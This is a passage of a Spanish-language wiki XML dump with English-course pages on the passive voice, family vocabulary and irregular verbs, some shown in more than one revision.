1) Se utiliza cuando, el sujeto de la oración, cumple dos condiciones:

a) no realiza acción (sujeto pasivo) 

b) sufre/recibe la acción del verbo.

2) También se puede utilizar esta estructura cuando no se conoce o no interesa mencionar quién realiza la acción del verbo (Ej. &quot;Han roto la puerta&quot;, &quot;Me han enviado una carta&quot;).

ESTRUCTURA:
Sujeto + To Be (en el tiempo que corresponda) + Participio Pasado (Verbo Principal)
El Complemento Agente es un elemento exclusivo de la oración pasiva. Nos indica quién realiza la acción del verbo y siempre va precedido por la preposición BY

EJEMPLOS:

1) The pizza is eaten by us. &gt; &quot;La pizza es comida por nosotros.&quot;

2) I was given a book. &gt; &quot;Me dieron un libro.&quot;

CAMBIAR DE ACTIVA A PASIVA:
El procedimiento es simple, siguiendo los siguientes pasos:

1) Localizamos el Complemento directo de la activa. Éste será el Sujeto Pasivo

2) Verbo: To Be (en el tiempo de la activa) + Participio Pasado Verbo de la Activa

3) Si lo deseamos, convertimos el Sujeto Activo en Complemento Agente, anteponiéndole BY.

DOBLE PASIVA:
Según la definición, el sujeto pasivo es aquel que sufre o recibe la acción del verbo. Por lo tanto, en oraciones con doble complemento (Directo e Indirecto) a partir de una oración activa podemos obtener 2 oraciones pasivas,
Ejemplo
&quot;I gave John a book&quot;
1) A book was given to John, el sujeto es al C.Directo de la oración activa
2) John was given a book, el sujeto es el C.Indirecto de la oración activa

Se prefiere transformar el complemento indirecto en sujeto a transformar el complemento directo.


{{AutoCat}}</text>
      <sha1>qp4odum7lseh7jwh1505vc35ev1yxbd</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/La familia</title>
    <ns>0</ns>
    <id>3012</id>
    <revision>
      <id>429847</id>
      <parentid>392352</parentid>
      <timestamp>2026-08-01T22:04:43Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429847</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1257" sha1="132dqb3p1ne82kbqg58avn1meygj10v" xml:space="preserve">[[Imagen:1970sfamily1.jpg|left|thumb|300px|La familia]]


{| border=&quot;1&quot;
!Inglés
Español 
|-
|Son
|Hijo

|-
|Daughter
|Hija
|-
|Brother
|Hermano
|-
|Sister
|Hermana
|-
|Siblings
|Hermanos
|-
|Father
|Padre
|-
|Dad, Daddy, papa ,
pop
|Papa
|-
|Mother
|Madre
|-
|Mom, Mommy, Mum
|Mama
|-
|Wife
|Esposa
|-
|husband
|Esposo
|-
|Grandfather, Grandpa, Grandad, etc
|Abuelo
|-
|Grandmother, Grandma, Grandmom, etc
|Abuela
|-
|Great-grandfather
|Bisabuelo
|-
|Great-grandmother
|Bisabuela
|-
|Great-great-grandfather
|Tatarabuelo
|-
|Great-great-grandmother
|Tatarabuela
|-
|Grandson, grandchild
|Nieto
|-
|Granddaughter, grandchild
|Nieta
|-
|Uncle
|Tio
|-
|Aunt
|Tia
|-
|The nephew
|El sobrino
|-
|The niece
|La sobrina
|-
|The cousin
|el/la primo/
|-
|Parents
|Mama y Papa
|-
|Grandparents
|Abuela y Abuelo
|-
|Children
|Hijo e Hija
|-
|Grandsons
|Nietos
|-
|Granddaughters
|Nietas
|-
|Grandchildren
|Nietos (varones y mujeres)
|-
|Relative
|Pariente/familiar
|-
|Relatives
|Parientes/familiares
|-
|Sister in law
|Cuñada
|-
|Brother in law
|cuñado
|-
|Mother in law
|Suegra
|-
|Father in law
|Suegro
|-
|Stepson
|Hijastro
|-
|Stepdaughter
|Hijastra
|-
|Stepmother
|Madrasta
|-
|Stepfather
|Padrastro
|-


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>132dqb3p1ne82kbqg58avn1meygj10v</sha1>
    </revision>
    <revision>
      <id>429902</id>
      <parentid>429847</parentid>
      <timestamp>2026-08-01T22:09:11Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429902</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1217" sha1="90iqtdy2fxg6keseujst33qs7xhzqku" xml:space="preserve">[[Imagen:1970sfamily1.jpg|left|thumb|300px|La familia]]


{| border=&quot;1&quot;
!Inglés
Español 
|-
|Son
|Hijo

|-
|Daughter
|Hija
|-
|Brother
|Hermano
|-
|Sister
|Hermana
|-
|Siblings
|Hermanos
|-
|Father
|Padre
|-
|Dad, Daddy, papa ,
pop
|Papa
|-
|Mother
|Madre
|-
|Mom, Mommy, Mum
|Mama
|-
|Wife
|Esposa
|-
|husband
|Esposo
|-
|Grandfather, Grandpa, Grandad, etc
|Abuelo
|-
|Grandmother, Grandma, Grandmom, etc
|Abuela
|-
|Great-grandfather
|Bisabuelo
|-
|Great-grandmother
|Bisabuela
|-
|Great-great-grandfather
|Tatarabuelo
|-
|Great-great-grandmother
|Tatarabuela
|-
|Grandson, grandchild
|Nieto
|-
|Granddaughter, grandchild
|Nieta
|-
|Uncle
|Tio
|-
|Aunt
|Tia
|-
|The nephew
|El sobrino
|-
|The niece
|La sobrina
|-
|The cousin
|el/la primo/
|-
|Parents
|Mama y Papa
|-
|Grandparents
|Abuela y Abuelo
|-
|Children
|Hijo e Hija
|-
|Grandsons
|Nietos
|-
|Granddaughters
|Nietas
|-
|Grandchildren
|Nietos (varones y mujeres)
|-
|Relative
|Pariente/familiar
|-
|Relatives
|Parientes/familiares
|-
|Sister in law
|Cuñada
|-
|Brother in law
|cuñado
|-
|Mother in law
|Suegra
|-
|Father in law
|Suegro
|-
|Stepson
|Hijastro
|-
|Stepdaughter
|Hijastra
|-
|Stepmother
|Madrasta
|-
|Stepfather
|Padrastro
|-


{{AutoCat}}</text>
      <sha1>90iqtdy2fxg6keseujst33qs7xhzqku</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/Verbos irregulares</title>
    <ns>0</ns>
    <id>3167</id>
    <revision>
      <id>429857</id>
      <parentid>355457</parentid>
      <timestamp>2026-08-01T22:05:35Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429857</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="18581" sha1="o6qc55arpg9f8e51mpcmayu2yw6y2js" xml:space="preserve">==Clasificación de los verbos irregulares==
Estos verbos pueden ser clasificados en tres grandes grupos:

===Verbos invariables===
Es decir, verbos cuyos tiempos en pasado son iguales al infinitivo. 
*INFINITIVO (put)
*PRETÉRITO (put) 
*PARTICIPIO PASADO (put)

*''put:'' poner
*''put:'' puse
*''put:'' puesto

{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|bet||bet||bet||apostar
|-
|burst||burst||burst||reventar, estallar
|-
|cost||cost||cost||costar
|-
|cut||cut||cut||cortar
|-
|fit||fit||fit||caber
|-
|hit||hit||hit||golpear
|-
|bid||bid||bid||pujar, pedir
|-
|cast||cast||cast||fundir, arrojar
|-
|forecast||forecast||forecast||prever, pronosticar
|-
|hurt||hurt||hurt||dañar, doler
|-
|knit||knit||knit||tejer
|-
|let||let||let||dejar, permitir
|-
|put||put||put||poner
|-
|read||read||read||leer
|-
|shut||shut||shut||cerrar
|-
|spread||spread||spread||esparcir, extender
|-
|outbid||outbid||outbid||mejorar, pujar
|-
|overbid||overbid||overbid||pujar, ofrecer demasiado
|-
|quit||quit||quit|| abandonar, dejar
|-
|set||set||set||situar, fijar
|-
|shed||shed||shed||quitarse, despojarse de, verter, derramar
|-
|shred||shred||shred||picar, desmenuzar, hacer tiras
|-
|slit||slit||slit||desgarrar, rajar
|-
|split||split||split||hender, partir, agrietarse
|-
|sweat||sweat||sweat||sudar
|-
|underbid||underbid||underbid||ofrecer menos que
|-
|upset||upset||upset||volcar, trastornar
|}

===Verbos invariables en el pasado===
Es decir, verbos cuyos tiempos en pasado y participio son iguales y diferente al infinitvo.

*INFINITIVO (bring)
*PRETÉRITO (brought)
*PARTICIPIO PASADO (brought).

*''bring:'' trae (To bring = traer )
*''brought:'' traje
*''brought:'' traído.

{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|bend||bent||bent|| torcer, doblar, encorvar 
|-
|build||built||built|| edificar,construir 
|-
|burn||burnt||burnt|| quemar,arder  
|-
|creep||crept||crept|| arrastrarse, gatear 
|-
|deal|| dealt||dealt|| traficar 
|-
|dream||dreamt||dreamt|| soñar 
|-

|-
|dwell||dwelt||dwelt|| habitar, residir 
|-
|lean||leant||leant|| apoyarse 
|-
|leap||leapt||leapt||saltar
|-
|learn||learnt||learnt|| aprender
|-
|lend||lent||lent|| prestar
|-
|lose||lost||lost|| perder
|-
|mean||meant||meant|| significar, tener intención
|-
|rend||rent||rent|| rasgar
|-
|send||sent||sent|| enviar
|-
|smell||smelt||smelt|| oler
|-
|spell||spelt||spelt|| deletrear
|-
|spend||spent||spent|| gastar
|-
|spill||spilt||spilt|| derramar, verter
|-
|-steal| |stole| |stolen| |robar,hurtar
|-
|unbend||unbent||unbent|| aflojar, enderezar
|}
Dentro de este mismo grupo pueden incluirse algunos verbos que añaden t para formar el pretérito y el participio pasado, pero que, además, modifican su vocal tónica (aquella en la que recae el acento al pronunciarla). Entre estos verbos figuran los siguientes:
{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|feel||felt||felt|| palpar, sentir
|-
|keep||kept||kept|| guardar, mantener
|-
|kneel||knelt||knelt|| arrodillarse
|-
|leave||left||left|| dejar, partir
|-
|meet||met||met|| encontrar
|-
|sleep||slept||slept|| dormir
|-
|sweep||swept||swept|| barrer
|-
|weep||wept||wept|| llorar
|}
Pueden incluirse en este grupo algunos verbos que como excepción y además de modificar su vocal tónica, forman el pasado terminando en d en lugar de t, como los siguientes:
{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|bleed||bled||bled|| sangrar
|-
|feed||fed||fed|| alimentar, pacer
|-
|flee||fled||fled|| huír
|-
|hear||heard||heard|| oír
|-
|lead||led||led|| conducir, guiar
|-
|breed||bred||bred|| educar, criar, engendrar
|-
|mislead||misled||misled|| desorientar, inducir a error
|-
|slide||slid||slid|| resbalar, deslizarse
|-
|speed||sped||sped|| acelerar
|}

===Verbos totalmente diferentes=== 
Es decir, verbos cuyo infinitivo, pretérito y participio pasado se escribe y pronuncia de distinta forma. 

*INFINITIVO (break)
*PRETÉRITO (broke)
* PARTICIPIO PASADO (broken)

*''break:'' romper
*''broke:'' rompí
*''broken:'' roto 

Verbos que forman el pretérito con ED y el participio pasado con N
{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|mow||mowed||mown|| segar
|-
|saw||sawed||sawn|| serruchar
|-
|sew||sewed||sewn|| coser
|-
|show||showed||shown|| mostrar, enseñar
|-
|sow||sowed||sown|| sembrar
|-
|strew||strewed||strewn|| esparcir
|}
Verbos que forman el pretérito cambiando la vocal tónica y añadiendo N al participio pasado
{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|shake||shook||shaken|| agitar, estremecerse
|-
|take||took||taken|| tomar, coger
|-
|choose||chose||chosen|| elegir
|-
|drive||drove||driven|| conducir
|-
|ride||rode||ridden|| cabalgar, montar
|-
|stride||strode||stridden|| andar a zancadas
|-
|write||wrote||written|| escribir
|-
|give||gave||given|| dar
|-
|grow||grew||grown|| crecer, cultivar
|-
|know||knew||known|| saber, conocer
|-
|rise||rose||risen|| levantarse, salir el sol, remontarse
|-
|blow||blew||blown|| soplar
|-
|throw||threw||trown|| tirar
|-
|see||saw||seen|| ver
|-
|bite||bit||bitten|| morder
|-
|hide||hid||hidden|| esconder
|-
|draw||drew||drawn|| dibujar, arrastrar, atraer
|-
|forsake||forsook||forsaken|| abandonar
|-
|overtake||overtook||overtaken|| llegarle a algo (alcanzar)
|-
|partake||partook||partaken|| participar
|-
|undertake||undertook||undertaken|| emprender
|-
|arise||arose||arisen|| surgir
|-
|overdrive||overdrove||overdriven|| excitar, apresurarse
|-
|bestride||bestrode||bestridden|| montar a horcajadas.
|-
|override||overrode||overriden|| dominar, supeditar, pasar por encima
|-
|smite||smote||smitten|| asolar, golpear
|-
|strive||strove||striven|| esforzarse, disputar
|-
|thrive||throve||thriven|| medrar, prosperar
|-
|forgive||forgave||forgiven|| perdonar
|-
|misgive||misgave||misgiven|| hacer temer (o dudar), llenar de dudas
|-
|overthrow||overthrew||overtrhrown|| volcar, vencer
|-
|slay||slew||slain|| matar, asesinar
|-
|foresee||foresaw||foreseen|| prever
|-
|chide||chid||chidden|| reñir, regañar
|-
|overdraw||overdrew||overdrawn|| exagerar, girar en descubierto
|-
|withdraw||withdrew||withdrawn|| retirar
|}
Incluiremos en esta clasificación aquellos verbos que modifican su vocal tónica en el pretérito y añaden &quot;en&quot; al infinitivo para formar su participio pasado. Son estos:
{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|eat||ate||eaten|| comer
|-
|forbid||forbade||forbidden|| prohibir
|-
|befall||befell||befallen|| acaecer
|}
Verbos que forman el pretérito cambiando la vocal tónica y añaden al mismo &quot;en&quot; para formar el participio pasado
{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|break||broke||broken|| romper
|-
|forget||forgot||forgotten|| olvidar
|-
|freeze||froze||frozen|| helar
|-
|speak||spoke||spoken|| hablar
|-
|steal||stole||stolen|| hurtar, robar
|-
|weave||wove||woven|| tejer, trenzar
|-
|wake||woke||woken|| despertar
|-
|fall||fell||fallen|| caer
|-
|beat||beat||beatten|| golpear
|-
|beget||begot||begotten|| engendrar
|-
|bespeak||bespoke||bespoken|| apalabrar, encomendar
|-
|browbeat||browbeat||browbeaten|| intimidar
|}
Verbos que solo añaden &quot;n&quot; para formar el participio pasado:
{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|lie||lay||lain|| echarse, tumbarse, yacer
|-
|swear||swore||sworn|| jurar
|-
|tear||tore||torn|| despedazar, desgarrar
|-
|wear||wore||worn|| llevar puesto, usar
|-
|shear||shore||shorn|| esquilar
|-
|forswear||forswore||forsworn|| negar, perjurar, abjurar
|}
Verbos que añaden NE para formar el participio pasado
{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|forbear||forbore||forborne|| abstenerse, aguantar
|-
|do||did||done|| hacer
|-
|go||went||gone|| ir
|-
|bear||bore||borne|| llevar, soportar
|-
|forego||forewent||foregone|| ceder, abandonar, renunciar
|-
|outdo||outdid||outdone|| sobrepasar, exceder
|-
|outgo||outwent||outgone|| exceder, aventajar, adelantarse
|-
|overdo||overdid||overdone|| exagerar, exceder, extralimitarse
|-
|underdo||underdid||underdone|| hacer menos de lo debido, asar poco.
|-
|undergo||underwent||undergone|| sufrir (operación, cambio, etc.)
|-
|undo||undid||undone|| deshacer
|}
Añadiremos a esta clasificación tres verbos que únicamente modifican la vocal tónica en el préterito siendo el participio pasado igual a su infinitivo.
{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|come||came||come|| venir
|-
|become||became||become|| llegar a ser, hacerse
|-
|overcome||overcame||overcome|| vencer, triunfar
|}
Verbos con los tres tiempos totalmente distintos
Estos verbos únicamente cambian su vocal tónica por a para el pretérito y u para el participio pasado.
{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|begin||began||begun|| empezar
|-
|drink||drank||drunk|| beber
|-
|ring||rang||rung|| sonar
|-
|run||ran||run|| correr
|-
|shrink||shrank||shrunk|| encogerse
|-
|sing||sang||sung|| cantar
|-
|sink||sank||sunk|| hundirse
|-
|spring||sprang||sprung|| saltar, brotar
|-
|stink||stank||stunk|| apestar
|-
|swim||swam||swum|| nadar
|-
|outrun||outran||outrun|| adelantar, correr más que
|}

Verbos irregulares inclasificables
{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|be||was/were||been|| ser, estar
|-
|swell||swelled||swollen|| hinchar, aumentar
|-
|fly||flew||flown|| volar
|-
|tread||trod||trodden|| pisar, hollar
|}

==Lista de verbos irregulares del ingles==

{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|- 
| Abide
| Abode
| Abode
| Habitar, Soportar
|- 
| Arise
| Arose
| Arisen
| despertar
|- 
| Awake
| Awoke
| Awaken
| levantar
|- 
| Be
| Was/were
| Been
| Ser o Estar
|- 
| Bear
| Bore
| Bore/Born
| Llevar, Soportar (to be born -- nacer)
|- 
| Beat
| Beat
| Beaten
| Golpear
|- 
| Become
| Became
| Become
| Llegar o Ser
|- 
| Begin
| Began
| Begun
| Empezar
|- 
| Bend
| Bent
| Bent
| Doblar
|- 
| Bereave
| Bereft/Bereaved
| Bereft/Bereaved
| Privar
|- 
| Beseech
| Besought
| Besought
| Suplicar (literario)
|- 
| Bet
| Bet
| Bet
| Apostar
|- 
| Bid
| Babde
| Bidden
| Decir, rogar
|- 
| Bid
| Bid
| Bid
| Pujar, Ofertar
|- 
| Bind
| Bound
| Bound
| Atar/Unir
|- 
| Bite
| Bit
| Bitten
| Morder
|- 
| Bleed
| Bled
| Bled
| Sangrar
|- 
| Blow
| Blew
| Blown
| Soplar
|- 
| Break
| Broke
| Broken
| Romper
|- 
| Bring
| Brought
| Brought
| Traer
|- 
| Build
| Built
| Built
| Construir
|- 
| Burn
| Burnt/Burned
| Burnt/Burned
| Quemar
|- 
| Burst
| Burst
| Burst
| Estallar
|- 
| Buy
| Bought
| Bought
| Comprar
|- 
| Cast
| Cast
| Cast
| Tirar
|- 
| Catch
| Caught
| Caught
| Coger o Agarrar
|- 
| Chide
| Chid
| Chidden/chid
| Reprender
|- 
| Choose
| Chose
| Chosen
| Elegir
|- 
| Cleave
| Cleft
| kleft
| Hender
|- 
| Cling
| Clung
| Clung
| Adherirse
|- 
| Come
| Came
| Come
| Venir
|- 
| Cost
| Cost
| Cost
| Costar
|- 
| Creep
| Crept
| Crept
| Arrastrarse
|- 
| Cut
| Cut
| Cut
| Cortar
|- 
| Deal
| Dealt
| Dealt
| Tratar
|- 
| Dig
| Dug
| Dug
| Cavar
|- 
| Dive
| Dove
| Dived
| Sumergirse, zambullirse
|- 
| Do
| Did
| Done
| Hacer
|- 
| Draw
| Drew
| Drawn
| Dibujar
|- 
| Dream
| Dreamt/Dreamed
| Deamt/Dreamed
| Soñar
|- 
| Drink
| Drank
| Drunk
| Beber
|- 
| Drive
| Drove
| Driven
| Conducir
|- 
| Dwell
| Dwelt
| Dwelt
| Residir
|- 
| Eat
| Ate
| Eaten
| Comer
|- 
| Fall
| Fell
| Fallen
| Caerse
|- 
| Feed
| Fed
| Fed
| Alimentar
|- 
| Feel
| Felt
| Felt
| Sentir
|- 
| Fight
| Fought
| Fought
| Luchar
|- 
| Find
| Found
| Found
| Encontrar
|- 
| Flee
| Fled
| Fled
| Huir
|- 
| Fling
| Flung
| Flung
| Lanzar
|- 
| Fly
| Flew
| Flown
| Volar
|- 
| Forbid
| Forbad/Forbade
| Forbidden
| Prohibir
|- 
| Forget
| Forgot
| Forgotten
| Olvidar
|- 
| Forgive
| Forgave
| Forgiven
| Perdonar
|- 
| Freeze
| Froze
| Frozen
| Congelar
|- 
| Get
| Got
| Gotten
| Conseguir
|- 
| Give
| Gave
| Given
| Dar
|- 
| Go
| Went
| Gone
| Ir
|- 
| Grind
| Ground
| Ground
| Moler, triturar
|- 
| Grow
| Grew
| Grown
| Crecer
|- 
| Hang
| Hung
| Hung
| Colgar
|- 
| Have
| Had
| Had
| Tener
|- 
| Hear
| Heard
| Heard
| Oir
|- 
| Hew
| Hewed
| Hewn
| Picar, labrar piedra (raro)
|- 
| Hide
| Hid
| Hidden
| Esconder
|- 
| Hit
| Hit
| Hit
| Golpear
|- 
| Hold
| Held
| Held
| Sujetar
|- 
| Hurt
| Hurt
| Hurt
| Herir
|- 
| Keep
| Kept
| Kept
| Guardar, mantener
|- 
| Kneel
| Knelt
| Knelt
| Arrodillarse
|- 
| Knit
| Knit
| Knit
| Hacer Punto
|- 
| Know
| Knew
| Known
| Saber o Conocer
|- 
| Lade
| Laded
| Laden
|  Cargar (raro, excepto participio)
|- 
| Lay
| Laid
| Laid
| Poner o Extender
|- 
| Lead
| Led
| Led
| Dirigir
|- 
| Lead
| Led
| Led
| Guiar
|- 
| Lean
| Leant
| Leant
| Apoyar(se)
|- 
| Leap
| Leapt
| Leapt
| Saltar
|- 
| Learn
| Learnt
| Learnt
| Aprender
|- 
| Leave
| Left
| Left
| Dejar o Abandonar
|- 
| Lend
| Lent
| Lent
| Prestar
|- 
| Let
| Let
| Let
| Permitir
|- 
| Lie
| Lay
| Lain
| Tumbarse
|- 
| Lie
| Lied
| Lied
| Mentir
|- 
| Light
| Lit
| Lit
| Iluminar
|- 
| Lose
| Lost
| Lost
| Perder
|- 
| Make
| Made
| Made
| Construir, hacer (cosas físicas)
|- 
| Mean
| Meant
| Meant
| Significar
|- 
| Meet
| Met
| Met
| Encontrase con alguien
|- 
| Melt
| Melted
| Molten/Melted
| Derretir (metales)
|- 
| Mow
| Mowed
| Mown
| Segar
|- 
| Pay
| Paid
| Paid
| Pagar
|- 
| Put
| Put
| Put
| Poner
|- 
| Quit
| Quit
| Quit
|  Dejar, irse
|- 
| Read
| Read
| Read
| Leer
|- 
| Rend
| Rent
| Rent
| Partir, despedazar
|- 
| Rid
| Rid
| Rid
| Librar
|- 
| Ride
| Rode
| Ridden
| Montar
|- 
| Ring
| Rang
| Rung
| Sonar, Tocar el timbre
|- 
| Rise
| Rose
| Risen
| Elevar o Alzarse
|- 
| Run
| Ran
| Run
| Correr
|- 
| Saw
| Sawed
| Sawn
| (a)serrar
|- 
| Say
| Said
| Said
| Decir
|- 
| See
| Saw
| Seen
| Ver
|- 
| Seek
| Sought
| Sought
| Buscar
|- 
| Sell
| Sold
| Sold
| Vender
|- 
| Send
| Sent
| Sent
| Enviar
|- 
| Set
| Set
| Set
| Colocar
|- 
| Sew
| Sewed
| Sewn
| Coser
|- 
| Shake
| Shook
| Shaken
| Sacudir, agitar
|- 
| Shear
| Shore
| Shorn
| Esquilar
|- 
| Shed
| Shed
| Shed
| Brillar
|- 
| Shine
| Shone
| Shone
| Brillar
|- 
| Shoe
| Shod
| Shod
| Herrar
|- 
| Shoot
| Shot
| Shot
| Disparar
|- 
| Show
| Showed
| Shown
| Mostrar
|- 
| Shrink
| Shrank
| Shrunk/Shrunken
| encoger rehuir
|- 
| Shut
| Shut
| Shut
| cerrar
|- 
| Sing
| Sang
| Sung
| Cantar
|- 
| Sink
| Sank
| Sunk
| Hundir(se)
|- 
| Sit
| Sat
| Sat
| Sentarse
|- 
| Slay
| Slew
| Slain
| Matar(literario)
|- 
| Sleep
| Slept
| Slept
| Dormir
|- 
| Slide
| Slid
| Slid
| Deslizarse, resbalar
|- 
| Sling
| Slung
| Slung
| Tirar (con honda)
|- 
| Slink
| Slunk
| Slunk
| Escabullirse
|- 
| Slit
| Slit
| Slit
| Rajar
|- 
| Smell
| Smelt
| Smelt
| Oler
|- 
| Smite
| Smote
| Smitten
| Golpear
|- 
| Sow
| Sowed
| Sown
| Sembrar
|- 
| Speak
| Spoke
| Spoken
| Hablar
|- 
| Speed
| Sped
| Sped
| Acelerar
|- 
| Spell
| Spelt
| Spelt
| Deletrear
|- 
| Spend
| Spent
| Spent
| Gastar o Emplear
|- 
| Spill
| Spilt
| Spilt
| Derramar
|- 
| Spin
| Spun
| Spun
| Hilar,girar
|- 
| Spit
| Spat
| Spat
| Escupir
|- 
| Split
| Split
| Split
| Partir,Hender
|- 
| Spoil
| Spoilt
| Spoilt
| Estropear, mimar
|- 
| Spread
| Spread
| Spread
| Esparcir
|- 
| Spring
| Sprang
| Sprung
| Brotar, saltar
|- 
| Stand
| Stood
| Stood
| Estar o ponerse de pie
|- 
| Steal
| Stole
| Stolen
| Robar
|- 
| Stick
| Stuck
| Stuck
| Pegar, fijar
|- 
| Sting
| Stung
| Stung
| Picar
|- 
| Stink
| Stank
| Stunk
| Apestar
|- 
| Strew
| Strewed
| Strewn
| Esparcir, rociar
|- 
| Stride
| Strode
| Stridden
| Andar a zancadas
|- 
| Strike
| Struck
| Struck/Striken
| Golpear, atacar
|- 
| String
| Strung
| Strung
| Encordar, templar un instrumento musical
|- 
| Strive
| Strove
| Striven
| Esforzarse, ingeniárselas
|- 
| Swear
| Swore
| Sworn
| Jurar
|- 
| Sweep
| Swept
| Swept
| Barrer
|- 
| Swell
| Swelled
| Swollen/swelled
| Hincharse
|- 
| Swim
| Swam
| Swum
| Nadar
|- 
| Swing
| Swung
| Swung
| Balancearse
|- 
| Take
| Took
| Taken
| Coger, llevar
|- 
| Teach
| Taught
| Taught
| Enseñar
|- 
| Tear
| Tore
| Torn
| Rasgar
|- 
| Tell
| Told
| Told
| Contar
|- 
| Think
| Thought
| Thought
| Pensar
|- 
| Thive
| Throve
| Thriven
| Florecer, prosperar
|- 
| Throw
| Threw
| Thrown
| Arrojar Tirar Botar
|- 
| Thrust
| Thrust
| Thrust
| Meter, empujar insertar
|- 
| Tread
| Trod
| Trodden
| Pisar
|- 
| Understand
| Understood
| Understood
| Entender
|- 
| Wake
| Woke
| Woken
| Despertarse
|- 
| Wear
| Wore
| Worn
| Llevar puesto
|- 
| Weave
| Wove
| Woven
| Tejer
|- 
| Weep
| Wept
| Wept
| Sollozar
|- 
| Win
| Won
| Won
| Ganar
|- 
| Wind
| Wound
| Wound
| Dar cuerda, enrollar
|- 
| Wring
| Wrung
| Wrung
| Retorcer
|- 
| Write
| Wrote
| Written
| Escribir
|}

==Enlaces Externos==
*[http://neoparaiso.com/imprimir/lista-verbos-ingles.html Lista de 1200 verbos en Inglés]. - Lista de verbos en inglés con su frecuencia de uso, tipo, pronunciación, tiempos y traducción.
*[http://www.verbbusters.com/index_es.php verbbusters]. - Página gratuita para practicar los verbos irregulares. Con listas, ranking y busqueda rápida.
*[http://www.helloworld.com.es/english/downloads/englishvm.htm Learn Spanish and English Verbs]. - FREE verb conjugators/Trainers with over 600 translated commonly used regular and irregular verbs.
*[http://www.helloworld.com.es/english/quick%20reference/verbs/englishverblist.htm Gran lista de los verbos ingleses]. - Conjugadores de verbos GRATIS con más de 600 verbos regulares e irregulares comúnmente usados y traducidos.
*[http://www.verbbusters.com/vsearch.php verb search]. - Busqueda rápida de los verbos irregulares. Con audio
*[http://play.google.com/store/apps/details?id=com.pmqsoftware.game.irregularverbs&amp;hl=es Verbos irregulares en inglés para Android]. - Aplicación para practicar y aprender más fácil los verbos irregulares. Contiene audio, ejemplos con frases y el control de pronunciación.
 

[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>o6qc55arpg9f8e51mpcmayu2yw6y2js</sha1>
    </revision>
    <revision>
      <id>429926</id>
      <parentid>429857</parentid>
      <timestamp>2026-08-01T22:09:17Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429926</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="18541" sha1="28j049x4sqakbv17p19zxcl1xnrixi4" xml:space="preserve">==Clasificación de los verbos irregulares==
Estos verbos pueden ser clasificados en tres grandes grupos:

===Verbos invariables===
Es decir, verbos cuyos tiempos en pasado son iguales al infinitivo. 
*INFINITIVO (put)
*PRETÉRITO (put) 
*PARTICIPIO PASADO (put)

*''put:'' poner
*''put:'' puse
*''put:'' puesto

{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|bet||bet||bet||apostar
|-
|burst||burst||burst||reventar, estallar
|-
|cost||cost||cost||costar
|-
|cut||cut||cut||cortar
|-
|fit||fit||fit||caber
|-
|hit||hit||hit||golpear
|-
|bid||bid||bid||pujar, pedir
|-
|cast||cast||cast||fundir, arrojar
|-
|forecast||forecast||forecast||prever, pronosticar
|-
|hurt||hurt||hurt||dañar, doler
|-
|knit||knit||knit||tejer
|-
|let||let||let||dejar, permitir
|-
|put||put||put||poner
|-
|read||read||read||leer
|-
|shut||shut||shut||cerrar
|-
|spread||spread||spread||esparcir, extender
|-
|outbid||outbid||outbid||mejorar, pujar
|-
|overbid||overbid||overbid||pujar, ofrecer demasiado
|-
|quit||quit||quit|| abandonar, dejar
|-
|set||set||set||situar, fijar
|-
|shed||shed||shed||quitarse, despojarse de, verter, derramar
|-
|shred||shred||shred||picar, desmenuzar, hacer tiras
|-
|slit||slit||slit||desgarrar, rajar
|-
|split||split||split||hender, partir, agrietarse
|-
|sweat||sweat||sweat||sudar
|-
